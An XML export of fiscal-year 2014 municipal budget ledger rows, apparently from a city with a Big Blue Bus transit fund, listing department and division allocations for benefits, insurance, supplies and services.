<row _id="6238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>780.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>780.0</total></row>
<row _id="6239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19290.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19290.0</total></row>
<row _id="6240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7742.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7742.0</total></row>
<row _id="6241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>58232.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58232.0</total></row>
<row _id="6242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3306.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3306.0</total></row>
<row _id="6243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>50217.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50217.0</total></row>
<row _id="6244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>534.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>534.0</total></row>
<row _id="6245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4312.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4312.0</total></row>
<row _id="6246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>518.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>518.0</total></row>
<row _id="6247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>618.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>618.0</total></row>
<row _id="6248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4585.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4585.0</total></row>
<row _id="6249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2806.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2806.0</total></row>
<row _id="6250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3932.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3932.0</total></row>
<row _id="6251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>108498.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>108498.0</total></row>
<row _id="6252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7434.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7434.0</total></row>
<row _id="6253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15129.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15129.0</total></row>
<row _id="6254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>42160.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42160.0</total></row>
<row _id="6255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="6256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="6257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1230.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1230.0</total></row>
<row _id="6258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11650.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11650.0</total></row>
<row _id="6259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>321826.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>321826.0</total></row>
<row _id="6260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8349.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8349.0</total></row>
<row _id="6261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5468.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5468.0</total></row>
<row _id="6262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>107108.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107108.0</total></row>
<row _id="6263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10430.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10430.0</total></row>
<row _id="6264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>405221.0</object><object_description>PYMT-MAIN ST-LIGHTS &amp; SIDEWLK</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="6266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14140.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14140.0</total></row>
<row _id="6267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14825.0</total></row>
<row _id="6268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>39538.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39538.0</total></row>
<row _id="6269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>901.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>901.0</total></row>
<row _id="6270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="6271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>139.0</total></row>
<row _id="6272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5186.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5186.0</total></row>
<row _id="6273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200.0</total></row>
<row _id="6274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="6275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="6276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3280.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3280.0</total></row>
<row _id="6277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1296.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1296.0</total></row>
<row _id="6278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2070.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2070.0</total></row>
<row _id="6279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7211.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7211.0</total></row>
<row _id="6280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1928.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1928.0</total></row>
<row _id="6281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29433.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29433.0</total></row>
<row _id="6282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28067.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28067.0</total></row>
<row _id="6283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>170442.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>170442.0</total></row>
<row _id="6284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>120261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120261.0</total></row>
<row _id="6285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>405200.0</object><object_description>VIDEO PRODUCTION SERVICE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10000.0</total></row>
